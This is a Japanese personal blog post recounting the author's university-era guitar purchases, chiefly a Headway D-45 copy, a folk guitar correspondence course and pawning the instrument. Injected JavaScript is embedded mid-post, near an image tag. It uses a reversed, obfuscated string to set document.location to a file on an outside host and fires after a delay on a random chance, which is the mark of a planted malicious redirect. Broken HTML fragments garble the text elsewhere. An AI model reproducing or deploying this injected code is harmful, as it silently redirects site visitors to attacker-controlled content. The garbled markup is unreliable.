これまでのギター遍歴 大学編

ギター本体ギター遍歴

tokyo/wp-content/uploads/1000mura-icon.gif” width=”80″ height=”80″>皆さん、こんにちは、メロウです。

さて今回も、その後所有したギターとそのギターにまつわるお話です。

通信講座を中断した高校2年の半ばから徐々にギターを弾かなくなり、その後大学へと進学しました。
実はわたし、関西の人間ですが、東京の大学へ行かせて貰ってました。
高校時代に購入したクラシックギターは下宿に持ち込んでましたが、そこでもほとんど弾くことはありませんでした。

二回生になり、ふとしたきっかけで入会したのがボランティア関連のサークル、
ボランティアなんてそれまで全く縁がなかったのですが、たまたま誘われて行った自由参加の新歓コンパが妙に盛り上がり、そのまま居ついてしまった、といういきさつです。

で、そのサークルの1年後輩に近藤・沼田というギターの好きな奴が二人いて、フォークギターに興味を持ち始めたのが3台目購入のきっかけでした。top: 16px;” src=”https://txt.toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokyo/wp-content/uploads/1901headway.jpg”>
取り敢えずクラシックギターは持っていたので、すぐに欲しいとも思いませんでしが、次第に気持ちが向くようになりました。

とはいえ、今のように何でもネットで簡単に検索できる時代でもなかったので、どんなメーカーのどんなギターがあるのかもよく分かりません。
マーチンだとかギブソンという名前は聞いていましたが、カタログひとつ見たことのない状態です。

そんな状態のまま、後輩を引き連れ御茶ノ水のクロサワ楽器に行ったのを、割と鮮明に覚えています。

その時に買ったのが、忘れもしないヘッドウェイ(Headway)です。マーチンD-45(D-41?)のコピーモデルで、当時で35万くらいしたと思います。
なんと永久保証のついた、作りのしっかりした国産ギターでしたが、数年後の火災でヘッドウェイは倒産してしまいます。永久保証の意味ないじゃん・・・

D-45といえば、アバロン貝のヘキサゴン(六角形)インレイとパーフリングが入った見た目も豪華なモデルで、最終的にヘッドウェイを選んだのもその見た目に圧倒されたような気がします。

下の写真はネットで拝借した、おそらく同じモデルだと思われるHeadwayのギターです。(当時から写真というものに興味がなく、実物の写真は一枚も残っていない、というより撮影していないんで・・・)

ちなみに、その時マーチンのD-28がお店に3本あり、クロサワ楽器の店長は、今なら好きなのを選んで良い、とD-28を薦めていました。
(冷静に考えればいつでも好きなのを選ぶ権利はあるはずですが・・・)

ともあれ、おなじD-28でも3本を聴き比べると1本だけ低音の張りに明らかな差がありました。
(まだ自分で試奏する勇気も技量もなかったんで、弾き比べじゃなく、聴き比べです^^;)

良く鳴る1本を手に、5弦はどんなギターでも鳴るが、6弦でこれほど張りがあるのは素晴らしい、というような事を力説されていたのを覚えています。

価格の上ではD-28が30万円位でヘッドウェイより安く、今なら間違いなくマーチン選んでるだろうに、なにを血迷ったのかなぁ・・・・

このヘッドウェイ、重量級のギターでしたから鳴り出すまでに時間がかかりましたが、少々硬い音ながら濁りのない綺麗な音色をしていました。
ただ、クロサワ楽器で聴いたD-28の6弦の音がずっと耳に残っていて、あの音がこのギターでは出なかったのがずっと後悔の種でした。

購入はゲップ、今でいうクレジットです。
そういえば高校時代に買ったクラシックがギターは、くだんの後輩に5000円でさらわれたのを思い出しました。
あのギター、まだどこかで生きてるかなぁ・・・

初めてのスチール弦のギター購入に伴い、新たにフォークギター向けの通信講座も始めています。
石川鷹彦氏が講師をつとめ、くどい説明やメカニカルな練習より、実践的なアルペジオやスリーフィンガーでの演奏が中心で、飽きずに続けられる良くできた教材でした。

こちらは取り敢えず最後までやり遂げましたが、学生時代に貸してやった奴が返さないまま紛失したので、最初の1~4冊が欠けているのがとても残念です。

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その後、卒業するまでは下宿の部屋で、結構弾いていたような気がします。
でも大きな音が出せない環境だったので、せっかくのドレッドノートサイズの高級ギターでしたが、ちょっともったいない使い方でした。

サークルの夏合宿、といってもボランティア活動で介助のためについていった合宿でしたが、キャンプファイヤーの時に合唱の伴奏をしたのがこのギター最大の晴れ舞台だったような・・・その時はたしかフラットピックでアルペジオだったなぁ・・・

ところでこのギター、学生時代にも何度か質入れの刑を受けていますが、最終的にも地元の帰ってから質流しの刑に会い、今となっては行方知れずです。
5万円で質入れし、「絶対流さないでね」って頼んでおきながら、なかなか引き取りの機会に恵まれず・・・可愛そうな事をしたものです。

ちょうどその頃、ヘッドウェイは新しい体制で立ち直されましが、昔のヘッドウェイの評価が高い事を聞くたびに、残念なことをしたなぁと思い出します。

数年前から動画投稿しています。よろしければtokyo/wp-content/uploads/1100YouTubeMZ.gif”>も覗いてやって下さい。